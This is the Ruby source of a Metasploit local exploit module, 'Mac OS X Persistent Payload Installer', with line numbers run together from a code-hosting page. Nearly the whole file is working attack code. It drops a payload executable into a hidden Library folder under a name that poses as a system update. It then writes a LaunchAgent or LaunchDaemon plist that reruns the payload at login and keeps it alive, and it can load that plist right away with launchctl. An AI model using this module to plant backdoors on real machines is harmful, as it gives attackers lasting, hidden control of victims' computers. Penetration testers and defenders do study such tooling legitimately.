Path: blob/master/modules/exploits/osx/persistence/launch_plist.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::Common11include Msf::Post::File12include Msf::Exploit::EXE13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/osx/local/persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Mac OS X Persistent Payload Installer',23'Description' => %q{24This module provides a persistent boot payload by creating a launch item, which can be25a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered26upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with27elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.28In either case the plist entry specifies an executable that will be run before or at login.2930Verified on OSX 11.7.10 (Big Sur)31},32'License' => MSF_LICENSE,33'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],34'Targets' => [35[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],36[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],37[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],38[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],39[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],40],41'DefaultTarget' => 0,42'SessionTypes' => [ 'shell', 'meterpreter' ],43'DisclosureDate' => '2012-04-01',44'Platform' => [ 'osx', 'python', 'unix' ],45'References' => [46['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],47['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],48['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]49],50'Notes' => {51'Stability' => [CRASH_SAFE],52'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],53'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.454}55)56)5758register_options([59OptString.new('BACKDOOR_PATH',60[61true, 'Path to hide the backdoor on the target.',62'~/Library/.<random>/com.system.update'63]),64OptBool.new('KEEPALIVE',65[true, 'Continually restart the payload exe if it crashes/exits.', true]),66OptBool.new('RUN_NOW',67[false, 'Run the installed payload immediately.', false]),68OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])69])70deregister_options('WritableDir')71end7273def check74folder = File.dirname(backdoor_path).shellescape75folder = File.dirname(folder)76return CheckCode::Safe("#{folder} not found") unless exists?(folder)77return CheckCode::Safe("#{folder} not writable") unless writable?(folder)7879CheckCode::Appears("#{folder} is writable")80end8182def install_persistence83check_for_duplicate_entry8485if target['Arch'] == ARCH_PYTHON86payload_bin = "#!/usr/bin/env python\n" + payload.encoded87elsif target['Arch'] == ARCH_CMD88payload_bin = "#!/usr/bin/env bash\n" + payload.raw89else90payload_bin = generate_payload_exe91end9293# Store backdoor on target machine94write_backdoor(payload_bin)95# Add plist file to LaunchAgents dir96add_launchctl_item97@clean_up_rc << "rm #{plist_path}\n"98@clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n"99@clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n"\100end101102private103104# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path105def add_launchctl_item106label = File.basename(backdoor_path)107cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")108# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive109item = <<-EOF110<?xml version="1.0" encoding="UTF-8"?>111<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">112<plist version="1.0">113<dict>114<key>Label</key>115<string>#{label}</string>116<key>Program</key>117<string>#{backdoor_path}</string>118<key>ProgramArguments</key>119<array>120<string>#{backdoor_path}</string>121</array>122<key>RunAtLoad</key>123<true/>124<key>OnDemand</key>125<#{keepalive?}/>126<key>KeepAlive</key>127<#{keepalive?}/>128</dict>129</plist>130EOF131132if write_file(plist_path, item)133print_good("LaunchAgent added: #{plist_path}")134@clean_up_rc << "rm #{plist_path}\n"135else136fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")137end138139if run_now?140cmd_exec("launchctl load -w #{plist_path.shellescape}")141else142print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")143end144145print_good('LaunchAgent installed successfully.')146end147148# path to upload the backdoor. any <user> or <random> substrings will be replaced.149# @return [String] path to drop the backdoor payload.150def backdoor_path151@backdoor_path ||= datastore['BACKDOOR_PATH']152.gsub('<random>') { Rex::Text.rand_text_alpha(8) }153.gsub(%r{^~/}, "/Users/#{user}/")154end155156# raises an error if a Launch Agent already exists at desired same plist_path157def check_for_duplicate_entry158if file?(plist_path)159fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"160end161end162163# @return [Boolean] user wants the persistence to be restarted constantly if it exits164def keepalive?165datastore['KEEPALIVE']166end167168# path to the LaunchAgent service configuration plist169# @return [String] path to the LaunchAgent service170def plist_path171@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"172end173174# @return [Boolean] user wants to launch the LaunchAgent immediately175def run_now?176datastore['RUN_NOW']177end178179# @return [String] username of the session180def user181@user ||= cmd_exec('whoami').strip182end183184# drops the file to disk, then makes it executable185# @param [String] exe the executable to drop186def write_backdoor(exe)187print_status('Dropping backdoor executable...')188cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")189190if write_file(backdoor_path, exe)191print_good("Backdoor stored to #{backdoor_path}")192cmd_exec("chmod +x #{backdoor_path.shellescape}")193@clean_up_rc << "rm #{backdoor_path}\n"194else195fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")196end197end198end199200201